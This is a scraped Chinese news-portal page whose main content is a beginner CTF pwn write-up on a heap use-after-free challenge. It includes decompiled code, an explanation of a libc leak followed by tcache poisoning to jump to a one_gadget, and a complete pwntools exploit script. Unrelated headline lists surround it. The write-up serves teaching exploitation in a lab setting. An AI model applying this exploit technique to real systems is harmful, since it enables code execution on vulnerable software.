最新要闻
- 会说话!爱德华兹谈生涯至今最爱的时刻:唐斯的60分之夜
- 游戏网站开除40%员工 “AI编辑”每周撰写数百篇问题文章引众怒|每日焦点
- 让手机更智能!小米小爱建议宣布已覆盖40余款机型 看看有你的吗?|全球报道
- 3A大作游戏《星空》尚未发售 却已收到玩家差评:直接0分 焦点速看
- 夜景拍摄表现出彩:尼康尼克尔Z DX 24mm f/1.7镜头开售_全球观热点
- 天天最新:芭比娃娃真人电影《芭比》确认引进中国内地:画风对比《小美人鱼》如何?
- vivox9什么时候上市的多少钱(vivox9什么时候上市的) 最新资讯
- 变形积木:以装配式装修助力美团酒店布局“百品、千城、万店”-当前观点
- 马斯克邀请丰田加入特斯拉快充阵营:你们充电太慢了
- 要闻:新一轮油价调整将于6月28日开启 这次又有降价的可能
- Steam客户端大规模更新!新增实用笔记功能 世界热议
- AMD Yes!RX 6650 XT显卡杀到1799元:比N卡更香 天天播资讯
- 贾跃亭团队出身就是不一样!高合HiPhi Y内饰官图发布:平替FF 91
- 世界热文:手机微信出现状态是什么意思(微信出现状态是怎么回事)
- 出庭当晚特朗普与“金主”举行晚宴,筹得200多万美元-世界微头条
- 欠2.4亿罚款又如何?贾跃亭国内“现身”:我不要烧太多钱也能快速成功 环球快讯
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
环球热点!ctfpwn-堆入门之uaf(新手向)
例题:
(资料图片)
程序保护全开,ida打开
int __cdecl main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); while ( 1 ) { menu(); switch ( (unsigned int)read_int() ) { case 1u: new_book(); break; case 2u: edit_book(); break; case 3u: delete_book(); break; case 4u: show_book(); break; case 5u: return 0; case 0x11u: magic_book(); break; default: continue; } }}
可以看到是一个标准的堆的菜单题
new_book函数可以申请任意大小的堆块,并且把堆块大小存到books_size数组中,books_size是bss段的全局变量,并且把malloc_hook,free_hook置0
__int64 new_book(){ int i; // [rsp+8h] [rbp-8h] int v2; // [rsp+Ch] [rbp-4h] puts("book size:"); v2 = read_int(); for ( i = 0; i <= 4; ++i ) { if ( !books[i] ) { books[i] = malloc(v2); books_size[i] = v2; printf("You got new book at index %d\n", (unsigned int)i); break; } } _malloc_hook = 0LL; _free_hook = 0LL; return 0LL;}
edit_book函数可以向指定堆块读入不超过这个堆块大小的数据,没有溢出。并且也把malloc_hook,free_hook置0
__int64 edit_book(){ unsigned int v1; // [rsp+Ch] [rbp-4h] puts("Book index:"); v1 = read_int(); if ( v1 > 4 ) { puts("Wrong index!"); } else if ( books[v1] ) { puts("Provide book content:"); read(0, (void *)books[v1], (int)books_size[v1]); } _malloc_hook = 0LL; _free_hook = 0LL; return 0LL;}
delete_book函数存在uaf漏洞,同样把malloc_hook,free_hook置0
__int64 delete_book(){ unsigned int v1; // [rsp+Ch] [rbp-4h] puts("Book index:"); v1 = read_int(); if ( v1 > 4 ) { puts("Invalid index!"); } else if ( books[v1] ) { free((void *)books[v1]); // uaf puts("Successfully deleted!"); } else { puts("Already deleted!"); } _malloc_hook = 0LL; _free_hook = 0LL; return 0LL;}
show_book函数可以打印堆块中的数据
int show_book(){ __int64 v0; // rax unsigned int v2; // [rsp+Ch] [rbp-4h] puts("Book index:"); v2 = read_int(); if ( v2 > 4 ) { puts("Invalid index!"); LODWORD(v0) = 0; } else { v0 = books[v2]; if ( v0 ) LODWORD(v0) = printf("OUTPUT: %s\n", (const char *)books[v2]); } return v0;}
magic_book函数有一个magic_library函数,这个函数存放着一个指向bss段的指针
__int64 magic_book(){ return magic_library();}
按tab键可以查看汇编代码
public magic_bookmagic_book proc near; __unwind {push rbpmov rbp, rspmov rax, cs:magic_libraryjmp raxmagic_book endp
可以看到这个函数跳转到bss段指针指向的位置
思路:程序存在uaf漏洞,并且每次申请,编辑,释放堆块后将malloc_hook,free_hook置0。题目给了libc版本为2.27。所以可以先申请一个大堆块,一个小堆块,一个任意大小的堆块(防止与top chunk合并),再将大堆块释放进入unsorted bin中,这个堆块的fd和bk就被写入了与main_arena有固定偏移的地址,由于存在uaf漏洞,申请堆块的指针没有被清除,所以仍然可读可写,所以可以利用上述的unsorted bin的特性来泄露libc,然后再用一次uaf先释放第二个堆块,将magic_library写到第二个堆块中,再连续申请两个与这个堆块同样大小的堆块,就会从tcache bin中将magic_library申请出来,然后就可以读写magic_library指针所指向的内存了,利用magic_book的特性,将根据前面泄露的libc计算出的one_gadget写入到magic_library所指向的内存,然后再调用magic_hook即可。
exp:
from pwn import *p=process("./pwn")libc=ELF("./libc-2.27.so")def menu(): p.recvuntil(b">> ")def add(size): menu() p.sendline(b"1") p.recvuntil(b"book size:\n") p.sendline(str(size))def edit(idx,con): menu() p.sendline(b"2") p.recvuntil(b"Book index:\n") p.sendline(str(idx)) p.recvuntil(b"Provide book content:") p.sendline(con)def show(idx): menu() p.sendline(b"4") p.recvuntil(b"index:") p.sendline(str(idx))def free(idx): menu() p.sendline(b"3") p.recvuntil("Book index:\n") p.sendline(str(idx))add(0x500)add(0x80)add(0x500)free(0)show(0)p.recvuntil(b"OUTPUT:")base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-4111520one_gadget=base+0x4f2a5print(hex(base))free(1)edit(1,p64(0x602110))add(0x80)add(0x80)edit(4,p64(one_gadget))p.sendline(b"17")p.interactive()
关键词:
环球热点!ctfpwn-堆入门之uaf(新手向)
会说话!爱德华兹谈生涯至今最爱的时刻:唐斯的60分之夜
游戏网站开除40%员工 “AI编辑”每周撰写数百篇问题文章引众怒|每日焦点
让手机更智能!小米小爱建议宣布已覆盖40余款机型 看看有你的吗?|全球报道
3A大作游戏《星空》尚未发售 却已收到玩家差评:直接0分 焦点速看
夜景拍摄表现出彩:尼康尼克尔Z DX 24mm f/1.7镜头开售_全球观热点
天天最新:芭比娃娃真人电影《芭比》确认引进中国内地:画风对比《小美人鱼》如何?
vivox9什么时候上市的多少钱(vivox9什么时候上市的) 最新资讯
资讯:上传自己java项目到maven中央仓库pom
当前关注:《深入探索C++对象模型》- 第一章 - 关于对象 - 笔记
.NET 文件上传服务设计 天天快播报
变形积木:以装配式装修助力美团酒店布局“百品、千城、万店”-当前观点
国资委召开中央企业提高上市公司质量暨并购重组工作专题会-环球热资讯
科创板收盘播报:科创50指数跌0.14% 电气设备股表现强势|环球热议
马斯克邀请丰田加入特斯拉快充阵营:你们充电太慢了
要闻:新一轮油价调整将于6月28日开启 这次又有降价的可能
Steam客户端大规模更新!新增实用笔记功能 世界热议
AMD Yes!RX 6650 XT显卡杀到1799元:比N卡更香 天天播资讯
贾跃亭团队出身就是不一样!高合HiPhi Y内饰官图发布:平替FF 91
世界热文:手机微信出现状态是什么意思(微信出现状态是怎么回事)
云小课|RDS for MySQL参数模板一键导入导出,参数配置轻松搞定|焦点简讯
【环球时快讯】数据分析提效5倍,国有集团企业数字化历程 | 数字化标杆
ESMapV数字孪生三维可视化云平台-零代码可视化设计师助力者
flask自定义参数校验、序列化和反序列化_视讯
出庭当晚特朗普与“金主”举行晚宴,筹得200多万美元-世界微头条
微资讯!新华社权威快报|“一箭41星” 发射成功
欠2.4亿罚款又如何?贾跃亭国内“现身”:我不要烧太多钱也能快速成功 环球快讯
端午节放假3天自驾方便了!滴滴租车正式上线:跑车、房车全都有
全球即时:一机搞定全屋清洁!石头新品洗地机A10 Ultra今晚首销:到手价3399元
1799元咬死RTX 3060显卡 英特尔新驱动继续鸡血:性能猛增33%|当前快看
用上丰田氢燃料电池 海马7X-H来了:不到5分钟加注续航达800km-天天微速讯
汉字找茬王连歌曲不甘怎么过-世界热闻
全球热文:解析Spring内置作用域及其在实践中的应用
世界观点:pickle
RPG游戏开发日志: 世界观速讯
石家庄太和网点电话_石家庄太和网
3个ChatGPT插件自动写书爆火!更多躺着赚钱玩法可以问AI自己_全球看热讯
3.1级地震发生时上海居民躲床下避难 监控视频显示:剧烈摇晃、余震可能性不大|今头条
全球热点评!盘点C#最有价值的10个语法糖
Cannot Reference “XxxClass.xxx” Before Supertype Constructor Has Been Called
足球服批发_足球装备批发|热推荐
男子赶集买毛蛋到家全变鸭子 后续会饲养:网友点赞赚大了
直言理想ONE被问界M7打残 学习华为要看什么书:李想整理分享
丰田手把手教经销商诋毁纯电|每日动态
矛盾的马斯克!特斯拉4D雷达首拆:千元成本、探测距离300米
女学霸边读研边兼职3年赚17万:为了明确自己毕业后适合什么工作
开源即时通讯IM框架MobileIMSDK的H5端开发快速入门-世界关注
港股午评:恒指涨0.83% 恒生科技指数涨1.82% 天天看点
热点在线丨会定期删除 微软回应Edge私传图片问题:不含任何用户标识
天玑9200+加持 vivo X90s官宣:安卓最强悍的曲面屏旗舰
全球聚焦:李想最新发言引围观:我们谁都没兴趣搞、那点销量有啥可搞的
温州近视司机深夜高速上镜片突然脱落:两眼一抹黑
动态焦点:张雪峰称高考绝对是普通家庭改变命运的最好出路 回应建议报理科
2023年农业电商行业发展现状调查及行业未来趋势分析
用益-今日财经视点:美联储如期暂停加息但放鹰!
深度学习应用篇-元学习[15]:基于度量的元学习:SNAIL、RN、PN、MN
『题解』BZOJ2839 集合计数|天天热点评
热推荐:00-串口和SSH方式登录
戴德梁行亚洲REITs报告:C-REITs市场快速扩容 ESG将成为高质量发展新动力
因为读书值得
每日动态!六合一套装:八喜冰淇淋3.8元/杯抄底(商超8元)
巴黎治鼠患官宣失败:市民将与600万只老鼠共存
世界微速讯:全系降价3万后 蔚来ET5旅行版今日首发上市:这颜值30万你买吗?
每日热门:618最值得入手智能门锁非它莫属:华为智能门锁系列该怎么选?
业内第一!小鹏首宣开放北京城市智能辅助驾驶:不靠高精地图|天天热点
《长安三万里》曝角色海报 7月8日梦回诗意大唐 要闻
顶奢好文:3W字,穿透Spring事务原理、源码,至少读10遍|焦点速读
c++ mutex 每日消息
微头条丨月的暗面——戴冰选集_对于月的暗面——戴冰选集简单介绍
当前快报:大导演冯小刚多年的白癜风“消失”了引围观 这病真能治好?医生释疑
天天热资讯!高速错过出口 丰田亚洲龙缓行被大货车追尾致5死 官方:两司机均分心驾驶
全球聚焦:李想:理想MPV不会是埃尔法“私生子” 开上街比法拉利还瞩目
女子穿联名汉服进入迪士尼被拦 官方回应:网友吵翻 说好的穿衣自由呢
视讯!对象说冷怎么回
北斗GPS卫星授时服务器(NTP授时)应用于地铁自控系统
最新SMS-Activate短信验证码接收教程-观天下
陕西已累计收获小麦1213.63万亩占应收面积的八成以上
环球快资讯:女孩抓蛙一身泥巴被妈妈逮到 毫无畏惧:网友感慨这才是童年
热点评!《王者荣耀》诸葛亮新皮肤上线:最强大的仙尊 能御剑飞行
不花钱给电脑降温?有两种方法可行-全球聚焦
外卖起送价太高、凑单满减浪费?两部门发文
中国移动5G重大突破:无需安装APP 远程操控智能终端
这项重要工程动工,惠及众多荔湾街坊!|早安,荔湾-环球最资讯
ESP32物联网项目开发1-ESP32简介
美联储如市场预期“跳过”加息 2年期与10年期美债利差走阔 讯息
每日消息!雷军科普:金属背壳的手机曾经非常流行 为什么现在却很少有人用了?
曝驱逐舰07七月预售:搭载云辇-C 车长超比亚迪汉
苹果最强影像旗舰!iPhone 15 Pro Max相机曝光|环球即时
每隔俩烽火台设一个许愿栏又有何不可?
读发布!设计与部署稳定的分布式系统(第2版)笔记03_让系统稳定运行 每日精选
观热点:考古女生寄200斤洛阳铲装备吓坏父母 专业的标配
天天微动态丨用iPhone和用安卓的人 为什么谁也不服谁
快讯:药康生物(688046):6月14日北向资金增持1.11万股
焦点速讯:重新整理 .net core 实践篇——— 测试控制器[四十九]
云南一地多次发生巨响震动!官方回应:初判为浅源性地震-环球快资讯
天天观速讯丨英伟达太强 AMD最强显卡尚无客户采购:软件干不过CUDA
小米14设计定了:标准版小直屏 Pro版极窄微曲屏-环球热头条
快看点丨给全世界每个人发钱 OpenAI创始人这么飘了?
比尔·盖茨抵达北京:就健康和环境问题向中国取经|当前简讯
(上接第一版)